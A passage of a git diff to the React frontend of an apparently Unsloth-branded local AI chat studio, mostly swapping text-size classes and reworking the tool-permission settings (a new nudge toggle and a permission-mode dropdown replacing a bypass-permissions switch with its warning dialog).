-                  onClick={() => onReloadModel?.()}
-                  size="sm"
-                  className="h-7 px-3 text-[12px] font-medium tracking-nav bg-primary/92 text-primary-foreground hover:bg-primary"
-                >
-                  Apply
-                </Button>
-                <Button
-                  type="button"
-                  variant="outline"
-                  size="sm"
-                  onClick={() => resetModelSettingsToLoaded()}
-                  className="h-7 px-3 text-[12px] font-medium tracking-nav text-muted-foreground"
-                >
-                  Reset
-                </Button>
-              </div>
-            ) : null}
-            <ChatTemplateFields />
-          </div>
-        </CollapsibleSection>
+                  )}
+                </div>
+              )}
+              {showContextVramWarning && (
+                <p className="text-ui-11 text-amber-500">
+                  Context length exceeds the estimated VRAM capacity (
+                      {ggufMaxContextLength?.toLocaleString()} tokens). The
+                      model may use system RAM.
+                </p>
+              )}
+            </div>
+          </CollapsibleSection>
         )}
 
         <CollapsibleSection
           label="Preset"
           defaultOpen={true}
-          first={!hasModelContent}
+          first={!hasModelContent && !modelConfig}
         >
           <div className="flex flex-col gap-3 pt-1">
             <DropdownMenu>
-              <DropdownMenuTrigger asChild>
+                  <DropdownMenuTrigger asChild={true}>
                 <div
                   className="w-full min-w-0 cursor-pointer outline-none focus-visible:outline-none"
                   aria-label="Open preset list"
@@ -1362,7 +812,7 @@ export function ChatSettingsPanel({
                       maxLength={80}
                       autoComplete="off"
                       className={cn(
-                        "!h-9 min-h-0 min-w-0 self-stretch !pl-3.5 !pr-2 py-0 text-[13px] font-medium leading-9 text-nav-fg md:text-[13px]",
+                        "!h-9 min-h-0 min-w-0 self-stretch !pl-3.5 !pr-2 py-0 text-ui-13 font-medium leading-9 text-nav-fg md:text-ui-13",
                         presetSaveState.isSaveReady &&
                           "placeholder:text-primary/50",
                       )}
@@ -1402,7 +852,7 @@ export function ChatSettingsPanel({
                         }
                         applyPreset(p.name);
                       }}
-                      className="flex min-h-9 items-center px-3 py-0 text-[13px] font-medium leading-[1.4] tracking-nav"
+                      className="flex min-h-9 items-center px-3 py-0 text-ui-13 font-medium leading-[1.4] tracking-nav"
                     >
                       {p.name}
                     </DropdownMenuItem>
@@ -1419,10 +869,12 @@ export function ChatSettingsPanel({
                 type="button"
                 onClick={() => savePresetWithName(presetNameInput)}
                 disabled={!(settingsHydrated && presetSaveState.canSubmit)}
-                variant={presetSaveState.isSaveReady ? "default" : "outline"}
+                    variant={
+                      presetSaveState.isSaveReady ? "default" : "outline"
+                    }
                 size="sm"
                 className={cn(
-                  "h-9 w-full rounded-full text-[13px] font-medium tracking-nav",
+                  "h-9 w-full rounded-full text-ui-13 font-medium tracking-nav",
                   presetSaveState.isSaveReady &&
                     "bg-primary text-primary-foreground hover:bg-primary/90",
                 )}
@@ -1437,7 +889,7 @@ export function ChatSettingsPanel({
                 disabled={!(settingsHydrated && activeCustomPreset)}
                 variant="outline"
                 size="sm"
-                className="h-9 w-full rounded-full text-[13px] font-medium tracking-nav text-muted-foreground"
+                className="h-9 w-full rounded-full text-ui-13 font-medium tracking-nav text-muted-foreground"
                 title={
                   activeCustomPreset
                     ? activeBuiltinPreset
@@ -1456,11 +908,12 @@ export function ChatSettingsPanel({
           <CollapsibleSection label="Provider" defaultOpen={true}>
             <div className="flex items-center justify-between gap-3 pt-1">
               <div className="flex min-w-0 items-center gap-1.5">
-                <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
+                <span className="min-w-0 text-ui-13 font-medium leading-[1.25] tracking-nav text-nav-fg">
                   Prompt caching
                 </span>
                 <InfoHint>
-                  Reuse compatible prompt prefixes for lower latency and cost.
+                      Reuse compatible prompt prefixes for lower latency and
+                      cost.
                 </InfoHint>
               </div>
               <Switch
@@ -1478,15 +931,15 @@ export function ChatSettingsPanel({
             {showPromptCacheTtlControl && promptCachingEnabled ? (
               <div className="flex items-center justify-between gap-3 pt-3">
                 <div className="flex min-w-0 items-center gap-1.5">
-                  <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
+                  <span className="min-w-0 text-ui-13 font-medium leading-[1.25] tracking-nav text-nav-fg">
                     Cache TTL
                   </span>
                   <InfoHint>
                     Anthropic exposes a 5 minute and a 1 hour ephemeral
-                    cache pool. The 1 hour pool costs 2x base input on
-                    write vs 1.25x for 5 minute, but reads stay 0.1x for
-                    both, so a single read landing more than 5 minutes
-                    after the write pays off the premium.
+                        cache pool. The 1 hour pool costs 2x base input on write
+                        vs 1.25x for 5 minute, but reads stay 0.1x for both, so
+                        a single read landing more than 5 minutes after the
+                        write pays off the premium.
                   </InfoHint>
                 </div>
                 <Select
@@ -1515,7 +968,7 @@ export function ChatSettingsPanel({
             {showFastModeControl ? (
               <div className="flex items-center justify-between gap-3 pt-3">
                 <div className="flex min-w-0 items-center gap-1.5">
-                  <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
+                  <span className="min-w-0 text-ui-13 font-medium leading-[1.25] tracking-nav text-nav-fg">
                     Fast mode
                   </span>
                   <InfoHint>
@@ -1554,7 +1007,7 @@ export function ChatSettingsPanel({
           onLabelClick={openSystemPromptEditor}
           headerAction={
             <Tooltip>
-              <TooltipPrimitive.Trigger asChild>
+                  <TooltipPrimitive.Trigger asChild={true}>
                 <button
                   type="button"
                   onClick={openSystemPromptEditor}
@@ -1603,14 +1056,13 @@ export function ChatSettingsPanel({
               placeholder="Example: You are a helpful assistant..."
               aria-label="System prompt"
               className={cn(
-                "block size-full resize-none bg-transparent px-3.5 py-2.5 text-left text-[13px] font-medium leading-relaxed text-nav-fg outline-none placeholder:text-muted-foreground",
+                "block size-full resize-none bg-transparent px-3.5 py-2.5 text-left text-ui-13 font-medium leading-relaxed text-nav-fg outline-none placeholder:text-muted-foreground",
                 systemPromptOverflows && "cursor-pointer",
               )}
             />
           </div>
         </CollapsibleSection>
 
-
         <CollapsibleSection label="Sampling" defaultOpen={true}>
           <div className="flex flex-col gap-5 pt-1">
             {showTemperature ? (
@@ -1681,21 +1133,12 @@ export function ChatSettingsPanel({
                 max={2}
                 step={0.1}
                 onChange={set("presencePenalty")}
-                displayValue={params.presencePenalty === 0 ? "Off" : undefined}
+                    displayValue={
+                      params.presencePenalty === 0 ? "Off" : undefined
+                    }
                 info="Penalizes any token that has already appeared at least once, encouraging the model to introduce new topics. 0 = off."
               />
             ) : null}
-            {!isExternalModel && !isGguf && (
-              <ParamSlider
-                label="Max Seq Length"
-                value={params.maxSeqLength}
-                min={128}
-                max={32768}
-                step={128}
-                onChange={set("maxSeqLength")}
-                info="Maximum context window size in tokens — input prompt plus generated output combined. Capped by the model's trained limit."
-              />
-            )}
             <ParamSlider
               label="Max Tokens"
               value={params.maxTokens}
@@ -1704,47 +1147,41 @@ export function ChatSettingsPanel({
                   ? getExternalMinOutputTokens(externalProviderType)
                   : 64
               }
-              max={
-                // A staged GGUF caps to its own context even over an active
-                // external model (the staged model is what will load).
-                !pendingIsGguf && isExternalModel
-                  ? getExternalMaxOutputTokens(
-                      externalProviderType,
-                      externalSelection?.modelId,
-                    )
-                  : isGguf && baseContext
-                    ? baseContext
-                    : 32768
-              }
+              max={maxTokensMax}
               step={64}
               onChange={set("maxTokens")}
               displayValue={
                 isGguf && baseContext && params.maxTokens >= baseContext
                   ? "Max"
-                  : undefined
+                  : !isExternalModel &&
+                      !isGguf &&
+                      params.maxTokens >= maxTokensMax
+                    ? "Max"
+                    : undefined
               }
               info="Maximum number of tokens to generate per response. Generation stops at this limit or when the model emits an end-of-sequence token."
             />
           </div>
         </CollapsibleSection>
 
-        {!isExternalModel ? (
+            {isExternalModel ? null : (
           <CollapsibleSection label="Tools">
             <div className="flex flex-col gap-5 pt-1">
               <AutoHealToolCallsToggle />
+              <NudgeToolCallsToggle />
               <ConfirmToolCallsToggle />
               <BypassPermissionsToggle />
               <MaxToolCallsSlider />
               <ToolCallTimeoutSlider />
             </div>
           </CollapsibleSection>
-        ) : null}
+            )}
 
-        {!isExternalModel ? (
+            {isExternalModel ? null : (
           <CollapsibleSection label="Retrieval">
             <RetrievalSettingsSection />
           </CollapsibleSection>
-        ) : null}
+            )}
       </div>
       </div>
       </div>
@@ -1765,13 +1202,13 @@ export function ChatSettingsPanel({
           <div className="space-y-3">
             <div className="space-y-0.5 px-0.5">
               <div className="flex items-center justify-between gap-3">
-                <div className="text-[11px] font-medium">Prompt editor</div>
+                <div className="text-ui-11 font-medium">Prompt editor</div>
                 <Button
                   type="button"
                   variant="ghost"
                   size="sm"
                   onClick={() => setSystemVariablesOpen((open) => !open)}
-                  className="h-7 gap-1.5 rounded-full px-2.5 text-[11px] text-muted-foreground"
+                  className="h-7 gap-1.5 rounded-full px-2.5 text-ui-11 text-muted-foreground"
                   aria-expanded={systemVariablesOpen}
                 >
                   <Braces className="size-3.5" />
@@ -1784,7 +1221,7 @@ export function ChatSettingsPanel({
                   />
                 </Button>
               </div>
-              <p className="text-[11px] text-muted-foreground">
+              <p className="text-ui-11 text-muted-foreground">
                 Use this for longer edits. Save writes back to the active
                 configuration only. Insert variables with {"{{ env }}"}.
               </p>
@@ -1793,16 +1230,16 @@ export function ChatSettingsPanel({
               <div className="space-y-2 px-0.5">
                 <div className="flex flex-wrap items-start justify-between gap-2">
                   <div className="space-y-0.5">
-                    <div className="text-[11px] font-medium">
+                    <div className="text-ui-11 font-medium">
                       Prompt variables
                     </div>
-                    <p className="text-[11px] text-muted-foreground">
+                    <p className="text-ui-11 text-muted-foreground">
                       Define values as JSON below, then use each key in your
                       prompt, like {"{{ env }}"}.
                     </p>
                   </div>
                   <div className="flex flex-col items-end gap-1">
-                    <span className="text-[10px] text-muted-foreground">
+                    <span className="text-ui-10 text-muted-foreground">
                       Built-in, fill in automatically
                     </span>
                     <div className="flex flex-wrap justify-end gap-1">
@@ -1810,7 +1247,7 @@ export function ChatSettingsPanel({
                         <span
                           key={token}
                           title={`${token} is replaced automatically when you send`}
-                          className="rounded-full bg-muted px-2 py-0.5 font-mono text-[10px] text-muted-foreground"
+                          className="rounded-full bg-muted px-2 py-0.5 font-mono text-ui-10 text-muted-foreground"
                         >
                           {token}
                         </span>
@@ -1835,11 +1272,11 @@ export function ChatSettingsPanel({
                   aria-invalid={Boolean(systemVariablesError)}
                 />
                 {systemVariablesError ? (
-                  <p className="px-1 text-[11px] text-destructive">
+                  <p className="px-1 text-ui-11 text-destructive">
                     {systemVariablesError}
                   </p>
                 ) : (
-                  <p className="px-1 text-[11px] text-muted-foreground">
+                  <p className="px-1 text-ui-11 text-muted-foreground">
                     Names you don&apos;t define are left unchanged, so a stray
                     {" {{ typo }} "}stays visible in the prompt.
                   </p>
@@ -1989,7 +1426,7 @@ function AutoHealToolCallsToggle() {
   return (
     <div className="flex items-center justify-between gap-3">
       <div className="flex min-w-0 items-center gap-1.5">
-        <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
+        <span className="min-w-0 text-ui-13 font-medium leading-[1.25] tracking-nav text-nav-fg">
           Auto-Healing Tool Calls
         </span>
         <InfoHint>
@@ -2006,241 +1443,86 @@ function AutoHealToolCallsToggle() {
   );
 }
 
+function NudgeToolCallsToggle() {
+  const nudgeToolCalls = useChatRuntimeStore((s) => s.nudgeToolCalls);
+  const setNudgeToolCalls = useChatRuntimeStore((s) => s.setNudgeToolCalls);
+
+  return (
+    <div className="flex items-center justify-between gap-3">
+      <div className="flex min-w-0 items-center gap-1.5">
+        <span className="min-w-0 text-ui-13 font-medium leading-[1.25] tracking-nav text-nav-fg">
+          Nudge Tool Calls
+        </span>
+        <InfoHint>
+          When a tool call cannot be repaired, re-ask the model once so the
+          intended tool still runs. API requests stay opt-in.
+        </InfoHint>
+      </div>
+      <Switch
+        className="panel-switch"
+        checked={nudgeToolCalls}
+        onCheckedChange={setNudgeToolCalls}
+      />
+    </div>
+  );
+}
+
 function ConfirmToolCallsToggle() {
-  const confirmToolCalls = useChatRuntimeStore((s) => s.confirmToolCalls);
   const setConfirmToolCalls = useChatRuntimeStore((s) => s.setConfirmToolCalls);
-  const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
+  const permissionMode = useChatRuntimeStore((s) => s.permissionMode);
 
   return (
     <div className="flex items-center justify-between gap-3">
       <div className="flex min-w-0 flex-col gap-0.5">
         <div className="flex min-w-0 items-center gap-1.5">
-          <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
+          <span className="min-w-0 text-ui-13 font-medium leading-[1.25] tracking-nav text-nav-fg">
             Confirm tool calls
           </span>
           <InfoHint>
-            When on, local Studio tool calls pause for your approval before they
-            run. Provider-hosted tools are not gated here.
+            When on, every local Unsloth tool call pauses for your approval
+            before it runs (the "Ask for approval" level). When off, tool calls
+            run without prompts inside the sandbox (the "Run automatically"
+            level).
+            Provider-hosted tools are not gated here.
           </InfoHint>
         </div>
-        {bypassPermissions ? (
-          <span className="text-[11px] text-muted-foreground">
-            Overridden by Bypass permissions
+        {permissionMode === "full" ? (
+          <span className="text-ui-11 text-muted-foreground">
+            Overridden by Full access
           </span>
         ) : null}
       </div>
       <Switch
         className="panel-switch"
-        checked={confirmToolCalls && !bypassPermissions}
+        checked={permissionMode === "ask"}
         onCheckedChange={setConfirmToolCalls}
-        disabled={bypassPermissions}
+        disabled={permissionMode === "full"}
       />
     </div>
   );
 }
 
 function BypassPermissionsToggle() {
-  const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
-  const setBypassPermissions = useChatRuntimeStore(
-    (s) => s.setBypassPermissions,
-  );
-  const [dialogOpen, setDialogOpen] = useState(false);
+  const permissionMode = useChatRuntimeStore((s) => s.permissionMode);
 
   return (
-    <div className="flex flex-col gap-1.5">
-      <div className="flex items-center justify-between gap-3">
-        <div className="flex min-w-0 items-center gap-1.5">
-          <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
-            Bypass permissions
-          </span>
-          <InfoHint>
-            Dangerous. Runs every tool call with no confirmation and disables
-            the python/terminal sandbox. Environment secrets are stripped, but
-            code can still read files and credentials on your machine.
-          </InfoHint>
-        </div>
-        <Switch
-          className="panel-switch"
-          checked={bypassPermissions}
-          onCheckedChange={(next) => {
-            if (next) setDialogOpen(true);
-            else setBypassPermissions(false);
-          }}
-        />
+    <div className="flex flex-col gap-2">
+      <div className="flex min-w-0 items-center gap-1.5">
+        <span className="whitespace-nowrap text-ui-13 font-medium leading-[1.25] tracking-nav text-nav-fg">
+          Tool permissions
+        </span>
+        <InfoHint>
+          Choose how Unsloth approves tool calls before they run. Full access
+          disables confirmations and the code sandbox.
+        </InfoHint>
       </div>
-      {bypassPermissions ? (
-        <span className="text-[11px] text-bypass">
+      {/* Full width, styled like the panel selects/preset input. */}
+      <PermissionModeDropdown triggerClassName="h-9 w-full justify-between rounded-full border-0 bg-[var(--panel-input-surface)] px-3.5 text-ui-13 font-medium text-nav-fg shadow-none hover:bg-[var(--panel-input-surface)]" />
+      {permissionMode === "full" ? (
+        <span className="text-ui-11 text-bypass">
           Tool calls run with no confirmation and no sandbox.
         </span>
       ) : null}
-      <AlertDialog open={dialogOpen} onOpenChange={setDialogOpen}>
-        <AlertDialogContent size="sm">
-          <AlertDialogHeader>
-            <AlertDialogTitle>Enable Bypass permissions?</AlertDialogTitle>
-            <AlertDialogDescription>
-              Bypass permissions is dangerous since the AI model might delete,
-              corrupt your machine, and or cause real world damage to you or the
-              world - only accept if you are certain
-            </AlertDialogDescription>
-          </AlertDialogHeader>
-          <AlertDialogFooter>
-            <AlertDialogCancel>Cancel</AlertDialogCancel>
-            <AlertDialogAction
-              variant="destructive"
-              className="!bg-destructive !text-destructive-foreground hover:!bg-destructive/90"
-              onClick={() => {
-                setBypassPermissions(true);
-                setDialogOpen(false);
-              }}
-            >
-              I understand
-            </AlertDialogAction>
-          </AlertDialogFooter>
-        </AlertDialogContent>
-      </AlertDialog>
     </div>
   );
 }
-
-function ChatTemplateFields() {
-  const defaultTemplate = useChatRuntimeStore((s) => s.defaultChatTemplate);
-  const override = useChatRuntimeStore((s) => s.chatTemplateOverride);
-  const setOverride = useChatRuntimeStore((s) => s.setChatTemplateOverride);
-  const [editorOpen, setEditorOpen] = useState(false);
-  const [draft, setDraft] = useState("");
-
-  if (!defaultTemplate) return null;
-
-  const displayValue = override ?? defaultTemplate;
-  const isModified = override !== null;
-  const draftDirty = draft !== displayValue;
-
-  const openEditor = () => {
-    setDraft(displayValue);
-    setEditorOpen(true);
-  };
-  const saveEditor = () => {
-    const cleared = draft.trim().length === 0 || draft === defaultTemplate;
-    setOverride(cleared ? null : draft);
-    setEditorOpen(false);
-    toast.success(
-      cleared
-        ? "Chat template reset to default. It applies on the next model reload."
-        : "Chat template saved. It applies on the next model reload.",
-    );
-  };
-
-  return (
-    <>
-      <div className="-mb-1.5 flex items-center justify-between gap-2">
-        <button
-          type="button"
-          onClick={openEditor}
-          className="cursor-pointer text-left text-[13px] font-medium tracking-nav text-nav-fg"
-        >
-          Chat Template
-        </button>
-        <div className="flex items-center gap-1">
-          {isModified && (
-            <Tooltip>
-              <TooltipPrimitive.Trigger asChild>
-                <button
-                  type="button"
-                  onClick={() => setOverride(null)}
-                  className="nav-icon-btn text-nav-icon-idle hover:bg-panel-surface-hover hover:text-black dark:hover:text-white"
-                  aria-label="Revert chat template"
-                >
-                  <HugeiconsIcon
-                    icon={ArrowTurnBackwardIcon}
-                    strokeWidth={1.75}
-                    className="size-4"
-                  />
-                </button>
-              </TooltipPrimitive.Trigger>
-              <TooltipContent
-                side="top"
-                sideOffset={6}
-                className="tooltip-compact"
-              >
-                Revert changes
-              </TooltipContent>
-            </Tooltip>
-          )}
-          <Tooltip>
-            <TooltipPrimitive.Trigger asChild>
-              <button
-                type="button"
-                onClick={openEditor}
-                className="nav-icon-btn text-nav-icon-idle hover:bg-panel-surface-hover hover:text-black dark:hover:text-white"
-                aria-label="Edit chat template"
-              >
-                <HugeiconsIcon
-                  icon={Edit03Icon}
-                  strokeWidth={1.75}
-                  className="size-3"
-                />
-              </button>
-            </TooltipPrimitive.Trigger>
-            <TooltipContent
-              side="top"
-              sideOffset={6}
-              className="tooltip-compact"
-            >
-              Edit template
-            </TooltipContent>
-          </Tooltip>
-        </div>
-      </div>
-      <Dialog open={editorOpen} onOpenChange={setEditorOpen}>
-        <DialogContent className="corner-squircle dialog-soft-surface sm:max-w-3xl">
-          <DialogHeader>
-            <DialogTitle>Edit Chat Template</DialogTitle>
-            <DialogDescription>
-              Override the model's chat template. The change applies on the
-              next model reload.
-            </DialogDescription>
-          </DialogHeader>
-          <div className="space-y-2">
-            <div className="space-y-0.5 px-0.5">
-              <div className="text-[11px] font-medium">Template editor</div>
-              <p className="text-[11px] text-muted-foreground">
-                Jinja syntax. Save matching the default clears the override.
-              </p>
-            </div>
-            <Textarea
-              value={draft}
-              onChange={(event) => setDraft(event.target.value)}
-              fieldSizing="fixed"
-              className="min-h-[24rem] max-h-[50vh] overflow-y-auto border-0 font-mono text-xs leading-5 corner-squircle focus-visible:ring-0"
-              rows={14}
-              spellCheck={false}
-            />
-          </div>
-          <DialogFooter className="flex-wrap gap-2 sm:justify-between">
-            <Button
-              type="button"
-              variant="ghost"
-              onClick={() => setDraft(defaultTemplate)}
-              disabled={draft === defaultTemplate}
-              className="text-muted-foreground"
-            >
-              Reset
-            </Button>
-            <div className="flex flex-wrap gap-2">
-              <Button
-                type="button"
-                variant="ghost"
-                onClick={() => setEditorOpen(false)}
-              >
-                Cancel
-              </Button>
-              <Button type="button" onClick={saveEditor} disabled={!draftDirty}>
-                Save
-              </Button>
-            </div>
-          </DialogFooter>
-        </DialogContent>
-      </Dialog>
-    </>
-  );
-}
diff --git a/studio/frontend/src/features/chat/components/chat-search-dialog.tsx b/studio/frontend/src/features/chat/components/chat-search-dialog.tsx
index dc3e1aac29..7bf1b4b2aa 100644
--- a/studio/frontend/src/features/chat/components/chat-search-dialog.tsx
+++ b/studio/frontend/src/features/chat/components/chat-search-dialog.tsx
@@ -143,10 +143,10 @@ export function ChatSearchDialog() {
                   strokeWidth={2}
                   className="size-4 shrink-0 text-muted-foreground"
                 />
-                <span className="min-w-0 flex-1 truncate text-[13px] font-medium">
+                <span className="min-w-0 flex-1 truncate text-ui-13 font-medium">
                   {item.title || "Untitled chat"}
                 </span>
-                <span className="shrink-0 text-[11px] text-muted-foreground">
+                <span className="shrink-0 text-ui-11 text-muted-foreground">
                   {formatRelative(item.createdAt)}
                 </span>
               </CommandPrimitive.Item>
diff --git a/studio/frontend/src/features/chat/components/context-usage-bar.tsx b/studio/frontend/src/features/chat/components/context-usage-bar.tsx
index 16dee2a624..9c80ce6b11 100644
--- a/studio/frontend/src/features/chat/components/context-usage-bar.tsx
+++ b/studio/frontend/src/features/chat/components/context-usage-bar.tsx
@@ -23,7 +23,7 @@ function getSeverityColor(percent: number): {
 } {
   if (percent > 85) return { bar: "bg-red-500", text: "text-red-500" };
   if (percent > 65) return { bar: "bg-amber-500", text: "text-amber-500" };
-  return { bar: "bg-emerald-500", text: "text-emerald-500" };
+  return { bar: "bg-control-accent", text: "text-control-accent" };
 }
 
 export const ContextUsageBar: FC<{
@@ -71,7 +71,7 @@ export const ContextUsageBar: FC<{
               : `Token usage: ${formatTokenCount(used)} tokens`
           }
           className={cn(
-            "flex items-center gap-2 rounded-[10px] px-2.5 py-1 font-mono text-chat-icon-fg text-[13px] tabular-nums transition-colors hover:bg-chat-icon-bg-hover hover:text-chat-icon-fg-hover",
+            "flex items-center gap-2 rounded-[10px] px-2.5 py-1 font-mono text-chat-icon-fg text-ui-13 tabular-nums transition-colors hover:bg-chat-icon-bg-hover hover:text-chat-icon-fg-hover",
             className,
           )}
         >
@@ -149,7 +149,7 @@ export const ContextUsageBar: FC<{
             </span>
           </div>
           {hasKnownLimit && percent !== null && percent > 85 ? (
-            <div className="mt-1 max-w-64 text-[11px] leading-snug text-muted-foreground/90">
+            <div className="mt-1 max-w-64 text-ui-11 leading-snug text-muted-foreground/90">
               Close to the context limit. Generation will stop at 100%.
               Increase <span className="font-medium">Context Length</span> in
               the chat Settings panel to keep going.
diff --git a/studio/frontend/src/features/chat/components/model-load-status.tsx b/studio/frontend/src/features/chat/components/model-load-status.tsx
index 292c7884fd..6e22c6de4b 100644
--- a/studio/frontend/src/features/chat/components/model-load-status.tsx
+++ b/studio/frontend/src/features/chat/components/model-load-status.tsx
@@ -54,14 +54,14 @@ export function ModelLoadDescription({
         {title ? <p className="text-foreground leading-tight font-semibold">{title}</p> : null}
         {hasProgress ? (
           <div className="w-full pt-1">
-            <div className="flex items-center justify-between gap-2 text-[10px] font-medium tracking-[0.08em] text-muted-foreground/80">
+            <div className="flex items-center justify-between gap-2 text-ui-10 font-medium tracking-[0.08em] text-muted-foreground/80">
               <span className="min-w-0 truncate">{labelPrimary}</span>
               <span className="shrink-0 tabular-nums">
                 {Math.round(clampProgress(progressPercent))}%
               </span>
             </div>
             {labelSecondary ? (
-              <div className="truncate pt-0.5 text-[10px] font-medium tracking-[0.08em] text-muted-foreground/60">
+              <div className="truncate pt-0.5 text-ui-10 font-medium tracking-[0.08em] text-muted-foreground/60">
                 {labelSecondary}
               </div>
             ) : null}
@@ -107,7 +107,7 @@ export function ModelLoadInlineStatus({
             <Progress value={clampProgress(progressPercent)} className="h-1 bg-foreground/[0.08]" />
           </div>
           <div
-            className="flex shrink-0 items-center gap-1 text-[10px] font-medium tracking-[0.08em] text-muted-foreground/80"
+            className="flex shrink-0 items-center gap-1 text-ui-10 font-medium tracking-[0.08em] text-muted-foreground/80"
             title={progressLabel ?? undefined}
           >
             {/* Tight inline layout: show only the primary (bytes) chunk;
@@ -124,7 +124,7 @@ export function ModelLoadInlineStatus({
           type="button"
           size="xs"
           variant="outline"
-          className="shrink-0 text-[11px]"
+          className="shrink-0 text-ui-11"
           onClick={onStop}
         >
           Stop
diff --git a/studio/frontend/src/features/chat/components/openai-code-exec-section.tsx b/studio/frontend/src/features/chat/components/openai-code-exec-section.tsx
index b28bf83737..4da9774192 100644
--- a/studio/frontend/src/features/chat/components/openai-code-exec-section.tsx
+++ b/studio/frontend/src/features/chat/components/openai-code-exec-section.tsx
@@ -60,18 +60,6 @@ const TTL_MAX = 20; // OpenAI hard cap on expires_after.minutes
 // minute without hammering /v1/containers.
 const REFRESH_POLL_MS = 30_000;
 
-function ageLabel(epochSeconds: number | null | undefined): string {
-  if (!epochSeconds) return "";
-  const ageSec = Math.max(0, Math.floor(Date.now() / 1000) - epochSeconds);
-  if (ageSec < 60) return `${ageSec}s ago`;
-  const ageMin = Math.floor(ageSec / 60);
-  if (ageMin < 60) return `${ageMin}m ago`;
-  const ageHr = Math.floor(ageMin / 60);
-  if (ageHr < 48) return `${ageHr}h ago`;
-  const ageDay = Math.floor(ageHr / 24);
-  return `${ageDay}d ago`;
-}
-
 function shortContainerId(id: string): string {
   // Mid-truncate keeps the "cntr_" prefix readable and still surfaces the
   // tail digits users sometimes copy off OpenAI's dashboard.
@@ -447,7 +435,7 @@ export function OpenAICodeExecSection({
         <div className="flex min-w-0 items-center gap-1.5">
           <label
             htmlFor="openai-container-ttl"
-            className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg"
+            className="min-w-0 text-ui-13 font-medium leading-[1.25] tracking-nav text-nav-fg"
           >
             Idle timeout
           </label>
@@ -463,7 +451,7 @@ export function OpenAICodeExecSection({
           max={TTL_MAX}
           value={ttlValue}
           onChange={(e) => onTtlChange(e.target.value)}
-          className="h-8 w-14 px-2 text-center text-sm tabular-nums"
+          className="h-8 w-[72px] pl-3 text-sm tabular-nums"
         />
       </div>
 
@@ -471,7 +459,7 @@ export function OpenAICodeExecSection({
           ACTIVE pill marks which one (no separate picker). */}
       <div className="flex flex-col gap-1.5">
         <div className="flex items-center justify-between gap-2">
-          <span className="text-[11px] uppercase tracking-wider text-muted-foreground">
+          <span className="text-ui-11 uppercase tracking-wider text-muted-foreground">
             Containers
           </span>
           <Button
@@ -509,7 +497,7 @@ export function OpenAICodeExecSection({
                   key={c.id}
                   className={`flex items-center gap-2 rounded-md border px-2 py-1.5 text-xs transition-colors ${
                     isActive
-                      ? "border-primary/30 bg-primary/5"
+                      ? "border-ring-strong bg-primary/5"
                       : "border-border/60 hover:bg-muted/40"
                   } ${canActivate ? "cursor-pointer" : ""} ${
                     running ? "" : "opacity-60"
@@ -543,15 +531,15 @@ export function OpenAICodeExecSection({
                         {c.name ?? "(unnamed)"}
                       </span>
                       {isPending ? (
-                        <span className="shrink-0 rounded-sm bg-muted px-1 py-px text-[9px] font-medium uppercase tracking-wider text-muted-foreground">
+                        <span className="shrink-0 rounded-sm bg-muted px-1 py-px text-ui-9 font-medium uppercase tracking-wider text-muted-foreground">
                           Creating
                         </span>
                       ) : isActive ? (
-                        <span className="shrink-0 rounded-sm bg-primary/15 px-1 py-px text-[9px] font-medium uppercase tracking-wider text-primary">
+                        <span className="shrink-0 rounded-sm bg-primary/15 px-1 py-px text-ui-9 font-medium uppercase tracking-wider text-primary">
                           Active
                         </span>
                       ) : statusLabel ? (
-                        <span className="shrink-0 rounded-sm bg-muted px-1 py-px text-[9px] font-medium uppercase tracking-wider text-muted-foreground">
+                        <span className="shrink-0 rounded-sm bg-muted px-1 py-px text-ui-9 font-medium uppercase tracking-wider text-muted-foreground">
                           {statusLabel}
                         </span>
                       ) : null}
@@ -560,10 +548,10 @@ export function OpenAICodeExecSection({
                       className="flex min-w-0 items-center gap-1.5 text-muted-foreground"
                       title={c.id}
                     >
-                      <span className="min-w-0 truncate font-mono text-[11px]">
+                      <span className="min-w-0 truncate font-mono text-ui-11">
                         {shortContainerId(c.id)}
                       </span>
-                      <span className="shrink-0 text-[10px] uppercase tracking-wider">
+                      <span className="shrink-0 text-ui-10 uppercase tracking-wider">
                         · {ttlMinutes}m
                       </span>
                     </div>
diff --git a/studio/frontend/src/features/chat/components/project-switcher.tsx b/studio/frontend/src/features/chat/components/project-switcher.tsx
index e17a1d139e..a37df882b4 100644
--- a/studio/frontend/src/features/chat/components/project-switcher.tsx
+++ b/studio/frontend/src/features/chat/components/project-switcher.tsx
@@ -49,7 +49,7 @@ export function ProjectSwitcher({
                 ? "Loading project"
                 : "Pick a project"
           }
-          className="-mx-1 flex h-[34px] shrink-0 items-center gap-2 rounded-full pl-3 pr-2.5 transition-colors hover:bg-[#ececec] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring dark:hover:bg-[#2d2e32]"
+          className="-mx-1 flex h-[34px] shrink-0 items-center gap-2 rounded-full pl-3 pr-2.5 transition-colors hover:bg-[#ececec] focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring dark:hover:bg-accent"
         >
           <HugeiconsIcon
             icon={Folder01Icon}
@@ -57,7 +57,7 @@ export function ProjectSwitcher({
             className="size-icon shrink-0 text-foreground/70"
           />
           <span className="flex min-w-0 flex-1 items-baseline">
-            <span className="min-w-0 flex max-w-[150px] flex-1 items-baseline truncate font-heading text-[16px] font-medium leading-tight text-black dark:text-white">
+            <span className="min-w-0 flex max-w-[150px] flex-1 items-baseline truncate font-heading text-ui-16 font-medium leading-tight text-black dark:text-white">
               {label}
             </span>
           </span>
@@ -75,8 +75,11 @@ export function ProjectSwitcher({
         side="bottom"
         align="start"
         sideOffset={0}
-        className="unsloth-plus-menu ring-0 min-w-56 max-w-72 max-h-72 font-heading"
+        className="unsloth-plus-menu ring-0 min-w-56 max-w-72 font-heading"
       >
+        {/* Scroll the list here, not the container, so the rounded corners on
+            the scrollbar side are not squared off. */}
+        <div className="max-h-72 overflow-y-auto">
         {showLoadingRow ? (
           <DropdownMenuItem disabled={true} className="text-muted-foreground">
             Loading…
@@ -117,6 +120,7 @@ export function ProjectSwitcher({
         <DropdownMenuItem onSelect={onViewAllProjects}>
